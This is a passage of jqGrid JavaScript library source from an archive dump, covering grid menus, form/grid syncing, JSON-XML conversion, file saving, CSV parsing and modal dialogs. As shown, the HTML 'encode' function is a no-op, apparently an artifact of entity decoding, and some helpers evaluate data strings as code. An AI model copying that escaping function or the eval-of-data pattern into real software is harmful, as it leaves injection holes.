commonstyle.disabled )) { var sr = $t.p.selrow; if (sr) { if($.jgrid.isFunction( p.editfunc ) ) { p.viewfunc.call($t, sr); } else { $($t).jqGrid("viewGridRow",sr,pView); } } else { p.ainfo(); $("#jqg_alrt").focus(); } $(str).hide(); } return false; }); $(str).append(itm); } if( p.del ) { pDel = pDel || {}; eid = pDel.id || "del_"+elemids; itm = $('<li class="ui-menu-item" role="presentation"><a class="'+ commonstyle.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+eid+'">'+(p.deltext.trim() || p.deltitle)+'</a></li>').click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { var dr; if($t.p.multiselect) { dr = $t.p.selarrrow; if(dr.length===0) {dr = null;} } else { dr = $t.p.selrow; } if(dr){ if($.jgrid.isFunction( p.delfunc )){ p.delfunc.call($t, dr); }else{ $($t).jqGrid("delGridRow",dr,pDel); } } else { p.ainfo(); } $(str).hide(); } return false; }); $(str).append(itm); } if(p.add || p.edit || p.del || p.view) { $(str).append("<li class='ui-menu-item " +commonstyle.disabled + "' style='width:100%' role='presentation'><hr class='ui-separator-li'></li>"); } if( p.search ) { pSearch = pSearch || {}; eid = pSearch.id || "search_"+elemids; itm = $('<li class="ui-menu-item" role="presentation"><a class="'+ commonstyle.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+eid+'">'+(p.searchtext.trim() || p.searchtitle)+'</a></li>').click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { if($.jgrid.isFunction( p.searchfunc )) { p.searchfunc.call($t, pSearch); } else { $($t).jqGrid("searchGrid",pSearch); } $(str).hide(); } return false; }); $(str).append(itm); if (pSearch.showOnLoad && pSearch.showOnLoad === true) { $( itm ).click(); } } if( p.refresh ) { eid = pSearch.id || "search_"+elemids; itm = $('<li class="ui-menu-item" role="presentation"><a class="'+ commonstyle.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+eid+'">'+(p.refreshtext || p.refreshtitle)+'</a></li>').click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { if($.jgrid.isFunction(p.beforeRefresh)) {p.beforeRefresh.call($t);} $t.p.search = false; $t.p.resetsearch = true; try { if( p.refreshstate !== 'currentfilter') { var gID = $t.p.id; $t.p.postData.filters =""; try { $("#fbox_"+$.jgrid.jqID(gID)).jqFilter('resetFilter'); } catch(ef) {} if($.jgrid.isFunction($t.clearToolbar)) {$t.clearToolbar.call($t,false);} } } catch (e) {} switch (p.refreshstate) { case 'firstpage': $($t).trigger("reloadGrid", [{page:1}]); break; case 'current': case 'currentfilter': $($t).trigger("reloadGrid", [{current:true}]); break; } if($.jgrid.isFunction(p.afterRefresh)) {p.afterRefresh.call($t);} $(str).hide(); } return false; }); $(str).append(itm); } $(str).hide(); $('body').append(str); $("#"+mid).addClass("ui-menu " + classes.menu_widget); $("#"+mid+" > li > a").hover( function(){ $(this).addClass(commonstyle.hover); }, function(){ $(this).removeClass(commonstyle.hover); } ); }; _buildMenu(); $(".dropdownmenu", elem+"_"+p.position).on("click", function( e ){ var offset = $(this).offset(), left = ( offset.left ), top = parseInt( offset.top), bid =$(this).val(); //if( $("#"+mid)[0] === undefined) { //_buildMenu(); //} $("#"+bid).show().css({"top":top - ($("#"+bid).height() + 35)+"px", "left":left+"px"}); e.stopPropagation(); }); $("body").on('click', function(e){ if(!$(e.target).hasClass("dropdownmenu")) { $("#"+mid).hide(); } }); }); }, GridToForm : function( rowid, formid ) { return this.each(function(){ var $t = this, i; if (!$t.grid) {return;} var rowdata = $($t).jqGrid("getRowData",rowid); if (rowdata) { for(i in rowdata) { if(rowdata.hasOwnProperty(i)) { if ( $("[name="+$.jgrid.jqID(i)+"]",formid).is("input:radio") || $("[name="+$.jgrid.jqID(i)+"]",formid).is("input:checkbox")) { $("[name="+$.jgrid.jqID(i)+"]",formid).each( function() { if( $(this).val() == rowdata[i] ) { $(this)[$t.p.useProp ? 'prop': 'attr']("checked",true); } else { $(this)[$t.p.useProp ? 'prop': 'attr']("checked", false); } }); } else { // this is very slow on big table and form. $("[name="+$.jgrid.jqID(i)+"]",formid).val(rowdata[i]); } } } } }); }, FormToGrid : function(rowid, formid, mode, position){ return this.each(function() { var $t = this; if(!$t.grid) {return;} if(!mode) {mode = 'set';} if(!position) {position = 'first';} var fields = $(formid).serializeArray(); var griddata = {}; $.each(fields, function(i, field){ griddata[field.name] = field.value; }); if(mode==='add') {$($t).jqGrid("addRowData",rowid,griddata, position);} else if(mode==='set') {$($t).jqGrid("setRowData",rowid,griddata);} }); } }); //module end })); grid.utils.js000064400000022174151677266200007210 0ustar00/*global jQuery, define, URL */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { "use strict"; //module begin $.extend($.jgrid,{ //window.jqGridUtils = { isJSON : function (mixed) { if (typeof mixed !== 'string') { mixed = JSON.stringify( mixed ); } try { JSON.parse( mixed ); return true; } catch (e) { return false; } }, stringify : function(obj) { return JSON.stringify(obj,function(key, value){ return (typeof value === 'function' ) ? value.toString() : value; }); }, parseFunc : function(str) { return JSON.parse(str,function(key, value){ if(typeof value === "string" && value.indexOf("function") !== -1) { var sv = value.split(" "); sv[0] = $.jgrid.trim( sv[0].toLowerCase() ); if( (sv[0].indexOf('function') === 0) && value.trim().slice(-1) === "}") { return $.jgrid.runCode( value ); //eval('('+value+')'); } else { return value; } } return value; }); }, encode : function ( text ) { // repeated, but should not depend on grid return String(text).replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>').replace(/"/g,'"'); }, jsonToXML : function ( tree, options ) { var o = $.extend( { xmlDecl : '<?xml version="1.0" encoding="UTF-8" ?>\n', attr_prefix : '-', encode : true }, options || {}), that = this, scalarToxml = function ( name, text ) { if ( name === "#text" ) { return (o.encode ? that.encode(text) : text); } else if(typeof(text) ==='function') { return "<"+name+"><![CDATA["+ text +"]]></"+name+">\n"; } if(text === "") { return "<"+name+">__EMPTY_STRING_</"+name+">\n"; } else { return "<"+name+">"+(o.encode ? that.encode(text) : text )+"</"+name+">\n"; } }, arrayToxml = function ( name, array ) { var out = []; for( var i=0; i<array.length; i++ ) { var val = array[i]; if ( typeof(val) === "undefined" || val == null ) { out[out.length] = "<"+name+" />"; } else if ( typeof(val) === "object" && val.constructor == Array ) { out[out.length] = arrayToxml( name, val ); } else if ( typeof(val) === "object" ) { out[out.length] = hashToxml( name, val ); } else { out[out.length] = scalarToxml( name, val ); } } if(!out.length) { out[0] = "<"+ name+">__EMPTY_ARRAY_</"+name+">\n"; } return out.join(""); }, hashToxml = function ( name, tree ) { var elem = []; var attr = []; for( var key in tree ) { if ( ! tree.hasOwnProperty(key) ) continue; var val = tree[key]; if ( key.charAt(0) !== o.attr_prefix ) { if ( val == null ) { // null or undefined elem[elem.length] = "<"+key+" />"; } else if ( typeof(val) === "object" && val.constructor === Array ) { elem[elem.length] = arrayToxml( key, val ); } else if ( typeof(val) === "object" ) { elem[elem.length] = hashToxml( key, val ); } else { elem[elem.length] = scalarToxml( key, val ); } } else { attr[attr.length] = " "+(key.substring(1))+'="'+(o.encode ? that.encode( val ) : val)+'"'; } } var jattr = attr.join(""); var jelem = elem.join(""); if ( name == null ) { // null or undefined // no tag } else if ( elem.length > 0 ) { if ( jelem.match( /\n/ )) { jelem = "<"+name+jattr+">\n"+jelem+"</"+name+">\n"; } else { jelem = "<"+name+jattr+">" +jelem+"</"+name+">\n"; } } else { jelem = "<"+name+jattr+" />\n"; } return jelem; }; var xml = hashToxml( null, tree ); return o.xmlDecl + xml; }, xmlToJSON : function ( root, options ) { var o = $.extend ( { force_array : [], //[ "rdf:li", "item", "-xmlns" ]; attr_prefix : '-' }, options || {} ); if(!root) { return; } var __force_array = {}; if ( o.force_array ) { for( var i=0; i< o.force_array.length; i++ ) { __force_array[o.force_array[i]] = 1; } } if(typeof root === 'string') { root = $.parseXML(root); } if(root.documentElement) { root = root.documentElement; } var addNode = function ( hash, key, cnts, val ) { if(typeof val === 'string') { if( val.indexOf('function') !== -1) { val = $.jgrid.runCode( val ); //eval( '(' + val +')'); // we need this in our implement } else { switch(val) { case '__EMPTY_ARRAY_' : val = []; break; case '__EMPTY_STRING_': val = ""; break; case "false" : val = false; break; case "true": val = true; break; } } } if ( __force_array[key] ) { if ( cnts === 1 ) { hash[key] = []; } hash[key][hash[key].length] = val; // push } else if ( cnts === 1 ) { // 1st sibling hash[key] = val; } else if ( cnts === 2 ) { // 2nd sibling hash[key] = [ hash[key], val ]; } else { // 3rd sibling and more hash[key][hash[key].length] = val; } }, parseElement = function ( elem ) { // COMMENT_NODE if ( elem.nodeType === 7 ) { return; } // TEXT_NODE CDATA_SECTION_NODE if ( elem.nodeType === 3 || elem.nodeType === 4 ) { var bool = elem.nodeValue.match( /[^\x00-\x20]/ ); if ( bool == null ) return; // ignore white spaces return elem.nodeValue; } var retval, cnt = {}, i, key, val; // parse attributes if ( elem.attributes && elem.attributes.length ) { retval = {}; for ( i=0; i<elem.attributes.length; i++ ) { key = elem.attributes[i].nodeName; if ( typeof(key) !== "string" ) { continue; } val = elem.attributes[i].nodeValue; if ( ! val ) { continue; } key = o.attr_prefix + key; if ( typeof(cnt[key]) === "undefined" ) { cnt[key] = 0; } cnt[key] ++; addNode( retval, key, cnt[key], val ); } } // parse child nodes (recursive) if ( elem.childNodes && elem.childNodes.length ) { var textonly = true; if ( retval ) { textonly = false; } // some attributes exists for ( i=0; i<elem.childNodes.length && textonly; i++ ) { var ntype = elem.childNodes[i].nodeType; if ( ntype === 3 || ntype === 4 ) { continue; } textonly = false; } if ( textonly ) { if ( ! retval ) { retval = ""; } for ( i=0; i<elem.childNodes.length; i++ ) { retval += elem.childNodes[i].nodeValue; } } else { if ( ! retval ) { retval = {}; } for ( i=0; i<elem.childNodes.length; i++ ) { key = elem.childNodes[i].nodeName; if ( typeof(key) !== "string" ) { continue; } val = parseElement( elem.childNodes[i] ); if ( !val ) { continue; } if ( typeof(cnt[key]) === "undefined" ) { cnt[key] = 0; } cnt[key] ++; addNode( retval, key, cnt[key], val ); } } } return retval; }; var json = parseElement( root ); // parse root node if ( __force_array[root.nodeName] ) { json = [ json ]; } if ( root.nodeType !== 11 ) { // DOCUMENT_FRAGMENT_NODE var tmp = {}; tmp[root.nodeName] = json; // root nodeName json = tmp; } return json; }, saveAs : function (data, fname, opts) { opts = $.extend(true,{ type : 'plain/text;charset=utf-8' }, opts || {}); var file, url, tmp = []; fname = fname == null || fname === '' ? 'jqGridFile.txt' : fname; if( !Array.isArray(data) ) { tmp[0]= data ; } else { tmp = data; } try { file = new File(tmp, fname, opts); } catch (e) { file = new Blob(tmp, opts); } if ( window.navigator && window.navigator.msSaveOrOpenBlob) { window.navigator.msSaveOrOpenBlob( file , fname ); } else { url = URL.createObjectURL(file); var a = document.createElement("a"); a.href = url; a.download = fname; document.body.appendChild(a); a.click(); setTimeout(function() { document.body.removeChild(a); window.URL.revokeObjectURL(url); }, 0); } }, csvToArray : function (str, delimiter) { if(delimiter === undefined) {delimiter =",";} var headers=[],arrMatches, arr=[], objr = {}, k=0, len, lines=0; var objPattern = new RegExp( ( // Delimiters. "(\\" + delimiter + "|\\r?\\n|\\r|^)" + // Quoted fields. "(?:\"([^\"]*(?:\"\"[^\"]*)*)\"|" + // Standard fields. "([^\"\\" + delimiter + "\\r\\n]*))" ), "gi"); while (arrMatches = objPattern.exec(str)) { var strMatchedDelimiter = arrMatches[1]; if ( strMatchedDelimiter.length && strMatchedDelimiter !== delimiter ) { lines++; objr = {}; k=0; } var strMatchedValue; if (arrMatches[2]) { strMatchedValue = arrMatches[2].replace(new RegExp("\"\"", "g"),"\""); } else { strMatchedValue = arrMatches[3]; } if(lines === 0 ) { headers.push(strMatchedValue); len = headers.length; } else { objr[headers[k]] = strMatchedValue; if(k===len-1) { arr.push(objr); } else { k++; } } } return arr; } }); //module end //return window.jqGridUtils; }));grid.common.js000064400000101233151677266200007332 0ustar00/*jshint eqeqeq:false */ /*global jQuery, define */ (function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define([ "jquery", "./grid.base", "./jqModal", "./jqDnR" ], factory ); } else { // Browser globals factory( jQuery ); } }(function( $ ) { "use strict"; //module begin $.extend($.jgrid,{ // Modal functions showModal : function(h) { h.w.show(); }, closeModal : function(h) { h.w.hide().attr("aria-hidden","true"); if(h.o) {h.o.remove();} }, hideModal : function (selector,o) { o = $.extend({jqm : true, gb :'', removemodal: false, formprop: false, form : ''}, o || {}); var thisgrid = o.gb && typeof o.gb === "string" && o.gb.slice(0,6) === "#gbox_" ? $("#" + o.gb.slice(6))[0] : false; if(o.onClose) { var oncret = thisgrid ? o.onClose.call(thisgrid, selector) : o.onClose(selector); if (typeof oncret === 'boolean' && !oncret ) { return; } } if( o.formprop && thisgrid && o.form) { var frmgr, frmdata; if(o.form==='edit'){ frmgr = '#' +$.jgrid.jqID("FrmGrid_"+ o.gb.slice(6)); frmdata = "formProp"; } else if( o.form === 'view') { frmgr = '#' +$.jgrid.jqID("ViewGrid_"+ o.gb.slice(6)); frmdata = "viewProp"; } $(thisgrid).data(frmdata, { top: $.jgrid.floatNum($(selector).css("top")), left : $.jgrid.floatNum($(selector).css("left")), width : $.jgrid.floatNum( $(selector)[0].style.width ), height : $.jgrid.floatNum( $(selector)[0].style.height ), dataheight : $(frmgr).height(), datawidth: $(frmgr).width() }); } if ($.fn.jqm && o.jqm === true) { $(selector).attr("aria-hidden","true").jqmHide(); } else { if(o.gb !== '') { try { $(o.gb).find(".jqgrid-overlay").first().hide(); } catch (e){} } try { $(".jqgrid-overlay-modal").hide(); } catch (e) {} $(selector).hide().attr("aria-hidden","true"); } if( o.removemodal ) { $(selector).remove(); } }, //Helper functions findPos : function(obj) { var offset = $(obj).offset(); return [offset.left,offset.top]; }, createModal : function(aIDs, content, p, insertSelector, posSelector, appendsel, css) { p = $.extend(true, {}, $.jgrid.jqModal || {}, p); var self = this, rtlsup = $(p.gbox).attr("dir") === "rtl" ? true : false, classes = $.jgrid.styleUI[(p.styleUI || 'jQueryUI')].modal, common = $.jgrid.styleUI[(p.styleUI || 'jQueryUI')].common, mw = document.createElement('div'); css = $.extend({}, css || {}); mw.className= "ui-jqdialog " + classes.modal; mw.id = aIDs.themodal; var mh = document.createElement('div'); mh.className = "ui-jqdialog-titlebar " + classes.header; mh.id = aIDs.modalhead; $(mh).append("<span class='ui-jqdialog-title "+classes.title+"'>"+p.caption+"</span>"); var ahr= $("<a class='ui-jqdialog-titlebar-close "+common.cornerall+"' aria-label='Close'></a>") .hover(function(){ahr.addClass(common.hover);}, function(){ahr.removeClass(common.hover);}) .append("<span class='" + common.icon_base+" " + classes.icon_close + "'></span>"); $(mh).append(ahr); if(rtlsup) { mw.dir = "rtl"; $(".ui-jqdialog-title",mh).css("float","right"); $(".ui-jqdialog-titlebar-close",mh).css("left",0.3+"em"); } else { mw.dir = "ltr"; $(".ui-jqdialog-title",mh).css("float","left"); $(".ui-jqdialog-titlebar-close",mh).css("right",0.3+"em"); } var mc = document.createElement('div'); $(mc).addClass("ui-jqdialog-content " + classes.content).attr("id",aIDs.modalcontent); $(mc).append(content); mw.appendChild(mc); $(mw).prepend(mh); if(appendsel===true) { $('body').append(mw); } //append as first child in body -for alert dialog else if (typeof appendsel === "string") { $(appendsel).append(mw); } else { $(mw).insertBefore(insertSelector); } $(mw).css(css); if(p.jqModal === undefined) {p.jqModal = true;} // internal use var coord = {}; if ( $.fn.jqm && p.jqModal === true) { if(p.left ===0 && p.top===0 && p.overlay) { var pos = []; pos = $.jgrid.findPos(posSelector); p.left = pos[0] + 4; p.top = pos[1] + 4; if( rtlsup && !appendsel) { p.left = $(p.gbox).outerWidth()- (!isNaN(p.width) ? parseInt(p.width,10) :300);// to do } } coord.top = p.top+"px"; coord.left = p.left+"px"; } else if(p.left !==0 || p.top!==0) { coord.left = p.left+"px"; coord.top = p.top+"px"; } $("a.ui-jqdialog-titlebar-close",mh).click(function(){ var oncm = $("#"+$.jgrid.jqID(aIDs.themodal)).data("onClose") || p.onClose; var gboxclose = $("#"+$.jgrid.jqID(aIDs.themodal)).data("gbox") || p.gbox; self.hideModal("#"+$.jgrid.jqID(aIDs.themodal),{gb:gboxclose,jqm:p.jqModal,onClose:oncm, removemodal: p.removemodal || false, formprop : !p.recreateForm || false, form: p.form || ''}); return false; }); if (p.width === 0 || !p.width) {p.width = 300;} if(p.height === 0 || !p.height) {p.height =200;} if(!p.zIndex) { var parentZ = $(insertSelector).parents("*[role=dialog]").first().css("z-index"); if(parentZ) { p.zIndex = parseInt(parentZ,10)+2; } else { p.zIndex = 950; } } $(mw).css($.extend({ width: isNaN(p.width) ? "auto": p.width+"px", height:isNaN(p.height) ? "auto" : p.height + "px", zIndex:p.zIndex, overflow: 'hidden' },coord)) .attr({tabIndex: "-1","role":"dialog","aria-labelledby":aIDs.modalhead,"aria-hidden":"true"}); if(p.drag === undefined) { p.drag=true;} if(p.resize === undefined) {p.resize=true;} if (p.drag) { $(mh).css('cursor','move'); if($.fn.tinyDraggable) { //$(mw).jqDrag(mh); $(mw).tinyDraggable({ handle:"#"+$.jgrid.jqID(mh.id) }); } else { try { $(mw).draggable({handle: $("#"+$.jgrid.jqID(mh.id))}); } catch (e) {} } } if(p.resize) { if($.fn.jqResize) { $(mw).append("<div class='jqResize "+classes.resizable+" "+common.icon_base + " " +classes.icon_resizable+"'></div>"); $("#"+$.jgrid.jqID(aIDs.themodal)).jqResize(".jqResize",aIDs.scrollelm ? "#"+$.jgrid.jqID(aIDs.scrollelm) : false); } else { try { $(mw).resizable({handles: 'se, sw',alsoResize: aIDs.scrollelm ? "#"+$.jgrid.jqID(aIDs.scrollelm) : false}); } catch (r) {} } } if(p.closeOnEscape === true){ $(mw).keydown( function( e ) { if( e.which === 27 ) { var cone = $("#"+$.jgrid.jqID(aIDs.themodal)).data("onClose") || p.onClose; self.hideModal("#"+$.jgrid.jqID(aIDs.themodal),{gb:p.gbox,jqm:p.jqModal,onClose: cone, removemodal: p.removemodal || false, formprop : !p.recreateForm || false, form: p.form || ''}); } }); } }, viewModal : function (selector,o){ o = $.extend({ toTop: true, overlay: 10, modal: false, overlayClass : 'ui-widget-overlay', // to be fixed onShow: $.jgrid.showModal, onHide: $.jgrid.closeModal, gbox: '', jqm : true, jqM : true }, o || {}); var style=""; if(o.gbox) { var grid = $("#"+o.gbox.substring(6))[0]; try { style = $(grid).jqGrid('getStyleUI', grid.p.styleUI+'.common','overlay', false, 'jqgrid-overlay-modal'); o.overlayClass = $(grid).jqGrid('getStyleUI', grid.p.styleUI+'.common','overlay', true); } catch (em){} } if(o.focusField === undefined) { o.focusField = 0; } if(typeof o.focusField === "number" && o.focusField >= 0 ) { o.focusField = parseInt(o.focusField,10); } else if(typeof o.focusField === "boolean" && !o.focusField) { o.focusField = false; } else { o.focusField = 0; } if ($.fn.jqm && o.jqm === true) { if(o.jqM) { $(selector).attr("aria-hidden","false").jqm(o).jqmShow(); } else {$(selector).attr("aria-hidden","false").jqmShow();} } else { if(o.gbox !== '') { var zInd = parseInt($(selector).css("z-index")) - 1; if(o.modal) { if(!$(".jqgrid-overlay-modal")[0] ) { $('body').prepend("<div "+style+"></div>" ); } $(".jqgrid-overlay-modal").css("z-index",zInd).show(); } else { $(o.gbox).find(".jqgrid-overlay").first().css("z-index",zInd).show(); $(selector).data("gbox",o.gbox); } } $(selector).show().attr("aria-hidden","false"); if(o.focusField >= 0) { try{$(':input:visible',selector)[o.focusField].focus();}catch(_){} } } }, info_dialog : function(caption, content,c_b, modalopt) { var mopt = { width:350, height:'auto', dataheight: 'auto', drag: true, resize: false, left:(window.innerWidth / 2) - 145, top:window.innerHeight / 2 - 150, zIndex : 1000, jqModal : true, modal : false, closeOnEscape : true, align: 'center', buttonalign : 'center', buttons : [], overlay : 10, overlayClass : '' // {text:'textbutt', id:"buttid", onClick : function(){...}} // if the id is not provided we set it like info_button_+ the index in the array - i.e info_button_0,info_button_1... }; $.extend(true, mopt, $.jgrid.jqModal || {}, {caption:"<b>"+caption+"</b>"}, modalopt || {}); var jm = mopt.jqModal, self = this, classes = $.jgrid.styleUI[(mopt.styleUI || $.jgrid.defaults.styleUI || 'jQueryUI')].modal, common = $.jgrid.styleUI[(mopt.styleUI || $.jgrid.defaults.styleUI || 'jQueryUI')].common; if(!mopt.overlayClass) { mopt.overlayClass = common.overlay; } if($.fn.jqm && !jm) { jm = false; } // in case there is no jqModal var buttstr ="", i; if(mopt.buttons.length > 0) { for(i=0;i<mopt.buttons.length;i++) { if(mopt.buttons[i].id === undefined) { mopt.buttons[i].id = "info_button_"+i; } buttstr += "<a id='"+mopt.buttons[i].id+"' class='fm-button " + common.button+"'>"+mopt.buttons[i].text+"</a>"; } } var dh = isNaN(mopt.dataheight) ? mopt.dataheight : mopt.dataheight+"px", cn = "text-align:"+mopt.align+";"; var cnt = "<div id='info_id'>"; cnt += "<div id='infocnt' class='"+classes.body+"' style='margin:0px;padding-bottom:1em;width:100%;overflow:auto;position:relative;height:"+dh+";"+cn+"'>"+content+"</div>"; cnt += c_b ? "<div class='" + classes.footer + "' style='text-align:"+mopt.buttonalign+";padding-bottom:0.8em;padding-top:0.5em;background-image: none;border-width: 1px 0 0 0;'><a id='closedialog' class='fm-button " + common.button + "'>"+c_b+"</a>"+buttstr+"</div>" : buttstr !== "" ? "<div class='" + classes.footer + "' style='text-align:"+mopt.buttonalign+";padding-bottom:0.8em;padding-top:0.5em;background-image: none;border-width: 1px 0 0 0;'>"+buttstr+"</div>" : ""; cnt += "</div>"; try { if($("#info_dialog").attr("aria-hidden") === "false") { $.jgrid.hideModal("#info_dialog",{jqm:jm}); } $("#info_dialog").remove(); } catch (e){} var fs = $('.ui-jqgrid').css('font-size') || '11px'; $.jgrid.createModal({ themodal:'info_dialog', modalhead:'info_head', modalcontent:'info_content', scrollelm: 'infocnt'}, cnt, mopt, '','',true, { "font-size":fs} ); // attach onclick after inserting into the dom if(buttstr) { $.each(mopt.buttons,function(i){ $("#"+$.jgrid.jqID(this.id),"#info_id").on('click',function(){mopt.buttons[i].onClick.call($("#info_dialog")); return false;}); }); } $("#closedialog", "#info_id").on('click',function(){ self.hideModal("#info_dialog",{ jqm:jm, onClose: $("#info_dialog").data("onClose") || mopt.onClose, gb: $("#info_dialog").data("gbox") || mopt.gbox }); return false; }); $(".fm-button","#info_dialog").hover( function(){$(this).addClass(common.hover);}, function(){$(this).removeClass(common.hover);} ); if($.jgrid.isFunction(mopt.beforeOpen) ) { mopt.beforeOpen(); } $.jgrid.viewModal("#info_dialog",{ onHide: function(h) { h.w.hide().remove(); if(h.o) { h.o.remove(); } }, modal :mopt.modal, jqm:jm, overlay : mopt.overlay, overlayClass : mopt.overlayClass }); if($.jgrid.isFunction(mopt.afterOpen) ) { mopt.afterOpen(); } try{ $("#info_dialog").focus();} catch (m){} }, bindEv: function (el, opt) { var $t = this; if($.jgrid.isFunction(opt.dataInit)) { opt.dataInit.call($t,el,opt); } if(opt.dataEvents) { $.each(opt.dataEvents, function() { var tfn = this.fn; if (this.data !== undefined) { $(el).on(this.type, this.data, function(ev) {tfn.call(this, ev, opt);}); } else { $(el).on(this.type, function(ev){ tfn.call(this, ev, opt);} ); } }); } }, // Form Functions createEl : function(eltype,options,vl,autowidth, ajaxso) { var elem = "", $t = this; function setAttributes(elm, atr, exl ) { var exclude = ['dataInit','dataEvents','dataUrl', 'buildSelect','sopt', 'searchhidden', 'defaultValue', 'attr', 'custom_element', 'custom_value', 'oper']; exclude = exclude.concat(['cacheUrlData','delimiter','separator']); if(exl !== undefined && Array.isArray(exl)) { $.merge(exclude, exl); } $.each(atr, function(key, value){ if($.inArray(key, exclude) === -1) { $(elm).attr(key,value); } }); if(!atr.hasOwnProperty('id')) { $(elm).attr('id', $.jgrid.randId()); } } switch (eltype) { case "textarea" : elem = document.createElement("textarea"); if(autowidth) { if(!options.cols) { $(elem).css({width:"98%"});} } else if (!options.cols) { options.cols = 20; } if(!options.rows) { options.rows = 2; } if(vl===' ' || vl===' ' || (vl.length===1 && vl.charCodeAt(0)===160)) {vl="";} elem.value = vl; $(elem).attr({"role":"textbox","multiline":"true"}); setAttributes(elem, options); break; case "checkbox" : //what code for simple checkbox elem = document.createElement("input"); elem.type = "checkbox"; if( !options.value ) { var vl1 = (vl+"").toLowerCase(); if(vl1.search(/(false|f|0|no|n|off|undefined)/i)<0 && vl1!=="") { elem.checked=true; elem.defaultChecked=true; elem.value = vl; } else { elem.value = "on"; } $(elem).attr("offval","off"); } else { var cbval = options.value.split(":"); if(vl === cbval[0]) { elem.checked=true; elem.defaultChecked=true; } elem.value = cbval[0]; $(elem).attr("offval",cbval[1]); } $(elem).attr("role","checkbox"); setAttributes(elem, options, ['value']); break; case "select" : elem = document.createElement("select"); elem.setAttribute("role","listbox"); var msl, ovm = []; if(options.multiple===true) { msl = true; elem.multiple="multiple"; $(elem).attr("aria-multiselectable","true"); } else { msl = false; } if(options.dataUrl != null) { var rowid = null, postData = options.postData || ajaxso.postData; try { rowid = options.rowId; } catch(e) {} if ($t.p && $t.p.idPrefix) { rowid = $.jgrid.stripPref($t.p.idPrefix, rowid); } $.ajax($.extend({ url: $.jgrid.isFunction(options.dataUrl) ? options.dataUrl.call($t, rowid, vl, String(options.name)) : options.dataUrl, type : "GET", dataType: "html", data: $.jgrid.isFunction(postData) ? postData.call($t, rowid, vl, String(options.name)) : postData, context: {elem:elem, options:options, vl:vl}, success: function(data){ var ovm = [], elem = this.elem, vl = this.vl, options = $.extend({},this.options), msl = options.multiple===true, cU = options.cacheUrlData === true, oV ='', txt, mss =[], a = $.jgrid.isFunction(options.buildSelect) ? options.buildSelect.call($t,data) : data; if(typeof a === 'string') { a = $( $.jgrid.trim( a ) ).html(); } if(a) { $(elem).append(a); setAttributes(elem, options, postData ? ['postData'] : undefined ); if(options.size === undefined) { options.size = msl ? 3 : 1;} if(msl) { var multiseparator = options.multiseparator === undefined ? ",": options.multiseparator; ovm = vl.split(multiseparator); ovm = $.map(ovm,function(n){return $.jgrid.trim(n);}); } else { ovm[0] = $.jgrid.trim(vl); } //$(elem).attr(options); //setTimeout(function(){ $("option",elem).each(function(i){ txt = $(this).text(); vl = $(this).val(); if(cU) { oV += (i!== 0 ? ";": "")+ vl+":"+txt; } //if(i===0) { this.selected = ""; } // fix IE8/IE7 problem with selecting of the first item on multiple=true if (i === 0 && elem.multiple) { this.selected = false; } $(this).attr("role","option"); if($.inArray($.jgrid.trim(txt),ovm) > -1 || $.inArray($.jgrid.trim(vl),ovm) > -1 ) { this.selected= "selected"; mss.push(vl); } }); if( options.hasOwnProperty('checkUpdate') ) { if (options.checkUpdate) { $t.p.savedData[options.name] = mss.join(","); } } if(cU) { if(options.oper === 'edit') { $($t).jqGrid('setColProp',options.name,{ editoptions: {buildSelect: null, dataUrl : null, value : oV} }); } else if(options.oper === 'search') { $($t).jqGrid('setColProp',options.name,{ searchoptions: {dataUrl : null, value : oV} }); } else if(options.oper ==='filter') { if($("#fbox_"+$t.p.id)[0].p) { var cols = $("#fbox_"+$t.p.id)[0].p.columns, nm; $.each(cols,function(i) { nm = this.index || this.name; if(options.name === nm) { this.searchoptions.dataUrl = null; this.searchoptions.value = oV; return false; } }); } } } $($t).triggerHandler("jqGridAddEditAfterSelectUrlComplete", [elem]); //},0); } } },ajaxso || {})); } else if(options.value) { var i; if(options.size === undefined) { options.size = msl ? 3 : 1; } if(msl) { ovm = vl.split(","); ovm = $.map(ovm,function(n){return $.jgrid.trim(n);}); } if(typeof options.value === 'function') { options.value = options.value.call($t, vl, options); } var so,sv, ov, oSv, key, value, sep = options.separator === undefined ? ":" : options.separator, delim = options.delimiter === undefined ? ";" : options.delimiter; if(typeof options.value === 'string') { so = options.value.split(delim); for(i=0; i<so.length;i++){ sv = so[i].split(sep); if(sv.length > 2 ) { sv[1] = $.map(sv,function(n,ii){if(ii>0) { return n;} }).join(sep); } ov = document.createElement("option"); ov.setAttribute("role","option"); ov.value = sv[0]; ov.innerHTML = sv[1]; if (sv[1].length == 0) { ov.setAttribute("aria-label","none"); } elem.appendChild(ov); if (!msl && ($.jgrid.trim(sv[0]) === $.jgrid.trim(vl) || $.jgrid.trim(sv[1]) === $.jgrid.trim(vl))) { ov.selected ="selected"; } if (msl && ($.inArray($.jgrid.trim(sv[1]), ovm)>-1 || $.inArray($.jgrid.trim(sv[0]), ovm)>-1)) {ov.selected ="selected";} } } else if (Object.prototype.toString.call(options.value) === "[object Array]") { oSv = options.value; // array of arrays [[Key, Value], [Key, Value], ...] for (i=0; i<oSv.length; i++) { if(oSv[i].length === 2) { key = oSv[i][0]; value = oSv[i][1]; ov = document.createElement("option"); ov.setAttribute("role","option"); ov.value = key; ov.innerHTML = value; if (value.length == 0) { ov.setAttribute("aria-label","none"); } elem.appendChild(ov); if (!msl && ( $.jgrid.trim(key) === $.jgrid.trim(vl) || $.jgrid.trim(value) === $.jgrid.trim(vl)) ) { ov.selected ="selected"; } if (msl && ($.inArray($.jgrid.trim(value),ovm)>-1 || $.inArray($.jgrid.trim(key),ovm)>-1)) { ov.selected ="selected"; } } } } else if (typeof options.value === 'object') { oSv = options.value; for (key in oSv) { if (oSv.hasOwnProperty(key ) ){ ov = document.createElement("option"); ov.setAttribute("role","option"); ov.value = key; ov.innerHTML = oSv[key]; if (oSv[key].length == 0) { ov.setAttribute("aria-label","none"); } elem.appendChild(ov); if (!msl && ( $.jgrid.trim(key) === $.jgrid.trim(vl) || $.jgrid.trim(oSv[key]) === $.jgrid.trim(vl)) ) { ov.selected ="selected"; } if (msl && 